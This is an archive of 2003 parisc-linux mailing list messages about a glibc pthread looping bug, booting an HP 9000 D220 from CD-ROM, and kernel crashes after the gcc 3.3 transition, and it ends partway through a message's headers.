Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] squid pb with glibc-2.3.1 and pthread (pb reproduced now)
Date: Tue, 18 Mar 2003 11:45:46 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200303181645.h2IGjlST008612@hiauly1.hia.nrc.ca>
References: <3E68A39600002063@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622300 23067 80.91.229.3 (22 Nov 2014 02:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 09:45:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B67B4837
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 09:45:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2IGjlsQ008613;
	Tue, 18 Mar 2003 11:45:48 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2IGjlST008612;
	Tue, 18 Mar 2003 11:45:47 -0500 (EST)
In-Reply-To: <3E68A39600002063@ocpmta7.freegates.net> from "Joel Soete" at Mar 18, 2003 05:25:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17982

> Now recompile it with pthread lib (useless for this test case never the less
> here usefull):
> 
> gcc -o foo -l pthread foo.c
> 
> run it ./foo and now it loop :)

The pthread library has been broken for some time due to an error in
the locking code.  This might be fixed now.  The fix was part of
Carlos's latest pthread patch.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] squid pb with glibc-2.3.1 and pthread (pb reproduced now)
Date: Tue, 18 Mar 2003 18:35:53 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <3E68A396000020A5@ocpmta7.freegates.net>
References: <200303181645.h2IGjlST008612@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622301 23069 80.91.229.3 (22 Nov 2014 02:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 10:35:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id C91644829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 10:35:56 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18vL0D-0007DO-00; Tue, 18 Mar 2003 18:35:53 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 18 Mar 2003 18:35:53 +0100
In-Reply-To: <200303181645.h2IGjlST008612@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17983

>-- Original Message --
>Subject: Re: [parisc-linux] squid pb with glibc-2.3.1 and pthread (pb reproduced
>now)
>To: jsoe0708@tiscali.be (Joel Soete)
>Date: Tue, 18 Mar 2003 11:45:46 -0500 (EST)
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: parisc-linux@lists.parisc-linux.org
>
>
>> Now recompile it with pthread lib (useless for this test case never the
>less
>> here usefull):
>> 
>> gcc -o foo -l pthread foo.c
>> 
>> run it ./foo and now it loop :)
>
>The pthread library has been broken for some time due to an error in
>the locking code.  This might be fixed now.  The fix was part of
>Carlos's latest pthread patch.
>
Hi Dave,

I presume that this patch is not yet into libc6_2.3.1-15 dpkg (I also run
the test case with the same pb on an unstable debian running on b2k); so
my question is: does it exist somewhere a patch against this dpkg src which
I can test?

Thanks again for all,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] squid pb with glibc-2.3.1 and pthread (pb reproduced now)
Date: Tue, 18 Mar 2003 12:43:54 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200303181743.h2IHhtaI010636@hiauly1.hia.nrc.ca>
References: <3E68A396000020A5@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622301 23071 80.91.229.3 (22 Nov 2014 02:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 10:57:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42A334829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 10:57:58 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2IHhvsQ010639
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 12:43:58 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2IHhtaI010636;
	Tue, 18 Mar 2003 12:43:56 -0500 (EST)
In-Reply-To: <3E68A396000020A5@ocpmta7.freegates.net> from "Joel Soete" at Mar 18, 2003 06:35:53 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17984

> I presume that this patch is not yet into libc6_2.3.1-15 dpkg (I also run
> the test case with the same pb on an unstable debian running on b2k); so
> my question is: does it exist somewhere a patch against this dpkg src which
> I can test?

I just checked.  The patch is in -15.  It wasn't in -14.  I haven't tried
-15.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] squid pb with glibc-2.3.1 and pthread (pb reproduced now)
Date: Tue, 18 Mar 2003 19:07:02 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <3E68A396000020CC@ocpmta7.freegates.net>
References: <200303181743.h2IHhtaI010636@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622301 23074 80.91.229.3 (22 Nov 2014 02:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 11:07:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 792894829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 11:07:09 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18vLUN-00051z-00; Tue, 18 Mar 2003 19:07:03 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 18 Mar 2003 19:07:02 +0100
In-Reply-To: <200303181743.h2IHhtaI010636@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17985

>> I presume that this patch is not yet into libc6_2.3.1-15 dpkg (I also
run
>> the test case with the same pb on an unstable debian running on b2k);
so
>> my question is: does it exist somewhere a patch against this dpkg src
which
>> I can test?
>
>I just checked.  The patch is in -15.  It wasn't in -14.  I haven't tried
>-15.
>
So it doesn't yet help here. Never the less I think that I reach to produce
enough simple material which Carlos could analyse (in its time) :)

Thanks a lot,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Beaver <beaverb@nexus.dmsc.k12.ar.us>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with CDROM
Date: Tue, 18 Mar 2003 12:45:55 -0600 (CST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10303181243080.2119-100000@nexus.dmsc.k12.ar.us>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622301 23079 80.91.229.3 (22 Nov 2014 02:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:41 +0000 (UTC)
To: PA RISC Linux mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 11:11:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nexus.dmsc.k12.ar.us (nexus.dmsc.k12.ar.us [170.211.33.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8B864829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 11:11:52 -0700 (MST)
Original-Received: from nexus.dmsc.k12.ar.us (nexus.dmsc.k12.ar.us [170.211.33.4])
	by nexus.dmsc.k12.ar.us (8.11.6/8.9.3) with ESMTP id h2IIjtk02125
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 12:45:56 -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17986

One of the schools I serve has been donated a HP 9000 DE 220.  I've
figured out the serial console, but I can't find out how to add the CDROM
drive as a boot drive.  The IPL shows the removable media and the Lan
module as bootable.

P0  8/16/5.6  removable media (IPL)
P1  8/16/6.0  LAN module

I don't know how to find the CDROM drive in the SCSI chain.  Looking at
the mailing list archives, I found that it needed to be a HP SCSI CDROM
(it is).  I just don't know how to set up the machine to look for a
bootable CDROM in the drive (I'm planning installing Debian hppa).

Thanks,

Brian Beaver, M.Ed. Technology Coordinator "For every complex problem
DeQueen-Mena Educational Cooperative        there is an answer that is 
305 S. Hornberg Ave., Gillham, AR 71841     clear, simple, and wrong."
870.386.2251  FAX:  870.386.7731            -- H. L. Mencken



From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with CDROM
Date: Tue, 18 Mar 2003 18:18:24 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20030318181824.GK14520@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.10.10303181243080.2119-100000@nexus.dmsc.k12.ar.us>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622302 23336 80.91.229.3 (22 Nov 2014 02:11:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:42 +0000 (UTC)
Cc: PA RISC Linux mailing list <parisc-linux@lists.parisc-linux.org>
To: Brian Beaver <beaverb@nexus.dmsc.k12.ar.us>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 11:18:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 229E04829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 11:18:28 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18vLfM-0001DF-4Z; Tue, 18 Mar 2003 18:18:24 +0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.10.10303181243080.2119-100000@nexus.dmsc.k12.ar.us>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17987

On Tue, Mar 18, 2003 at 12:45:55PM -0600, Brian Beaver wrote:
> One of the schools I serve has been donated a HP 9000 DE 220.  I've

You mean a D220?

> figured out the serial console, but I can't find out how to add the CDROM
> drive as a boot drive.  The IPL shows the removable media and the Lan
> module as bootable.
> 
> P0  8/16/5.6  removable media (IPL)
> P1  8/16/6.0  LAN module

You don't think a CD-ROM drive qualifies as `removable media'?  ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Tue, 18 Mar 2003 19:14:14 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <3E7761F6.403DC5__11406.3269728378$1416622302$gmane$org@web.de>
References: <3E68A12A0000231A@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622302 23339 80.91.229.3 (22 Nov 2014 02:11:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:42 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Randolph Chung <tausq@debian.org>,
	Matthias Klose <doko@cs.tu-berlin.de>, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	Alexey Kuznetsov <kuznet@ms2.inr.ac.ru>, linux-net@vger.kernel.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 11:20:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp02.web.de [217.72.192.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B49D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 11:20:12 -0700 (MST)
Original-Received: from c-180-204-27.n.dial.de.ignite.net ([62.180.204.27] helo=web.de)
	by smtp.web.de with asmtp (SSLv3:RC4-MD5:128)
	(WEB.DE(Exim) 4.97 #53)
	id 18vLgK-0008L1-00; Tue, 18 Mar 2003 19:19:25 +0100
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17988

Joel Soete wrote:
> >gcc 3.3 decides to not believe you want this function inlined.  probably
> >the right fix for this is to make this function static inline (you can
> >drop the `__' around inline, it's not necessary).  This is also the case
> >for linux 2.5.
> >
> Right Willy that allow to compile :)
> 
> Unfortunately it failled to boot :_( with following dump:
> Freeing unused kernel memory: 246k freed
> ......
> Submitted to dump_analyser.sh, I obtain:
> 
> IAOQ = 10351b7c
> Func: __canonicalize_funcptr_for_compare, Off: 38, Addr: 0x10351b7c
> 10351b70:       2a 6b 50 00     addil 56800,r19,%r1
> 10351b74:       48 21 0c a8     ldw 654(r1),r1
> 10351b78:       d4 60 1c 1e     depwi 0,31,2,r3
> 10351b7c:       0c 60 10 94     ldw 0(sr0,r3),r20
> 
> GR0 = 00000000
> 
> GR1 = 103eee50
> Func: _GLOBAL_OFFSET_TABLE_, Off: 0, Addr: 0x103eee50
> 
> GR2 = 101342f8
> Func: do_sigaction, Off: a8, Addr: 0x101342f8

I have the same problem with a gcc 3.3 compiled kernel. The kernel itself
completely comes up, and I even can call a static shell (something like
init=/bin/sash), but as soon as glibc is involved, the mentioned crash
occurs. Just to make it clear: I am able to use the builtin functions of
that shell (like ls) and this works.

This is independend from the kernel version (2.4 and 2.5 behave all the
same). The function __canonicalize_funcptr_for_compare seems to be newly
introduced in libgcc with gcc 3.3, and seems to be the cause of this error.


Berthold



From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Tue, 18 Mar 2003 13:53:04 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200303181853.h2IIr53R016234__44882.740561343$1416622302$gmane$org@hiauly1.hia.nrc.ca>
References: <3E7761F6.403DC5@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622302 23342 80.91.229.3 (22 Nov 2014 02:11:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:42 +0000 (UTC)
Cc: jsoe0708@tiscali.be, willy@debian.org, tausq@debian.org,
	doko@cs.tu-berlin.de, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	kuznet@ms2.inr.ac.ru, linux-net@vger.kernel.org
To: b.gunreben@web.de (b.gunreben)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 11:53:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A8DF4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 11:53:21 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2IIr6sQ016236;
	Tue, 18 Mar 2003 13:53:06 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2IIr53R016234;
	Tue, 18 Mar 2003 13:53:05 -0500 (EST)
In-Reply-To: <3E7761F6.403DC5@web.de> from "b.gunreben" at Mar 18, 2003 07:14:14 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17989

> This is independend from the kernel version (2.4 and 2.5 behave all the
> same). The function __canonicalize_funcptr_for_compare seems to be newly
> introduced in libgcc with gcc 3.3, and seems to be the cause of this error.

Do you have the same problem with a 3.0.4 built kernel?  I have been
using a 3.3 built glibc for some months now.

__canonicalize_funcptr_for_compare depends critically on the
the initial setup of function descriptors by the dynamic loader
and the trampoline in the dynamic loader used to resolve the
address of functions.  This could easily break if someone
unknowing messes with the pa specific parts of the dynamic
loader or the setup of function descriptors.

I'm building glibc-2.3.1-15 and should know soon if something
has changed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Tue, 18 Mar 2003 11:02:20 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20030318190220.GT26139__14594.767735298$1416622303$gmane$org@tausq.org>
References: <3E7761F6.403DC5@web.de> <200303181853.h2IIr53R016234@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622303 23344 80.91.229.3 (22 Nov 2014 02:11:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
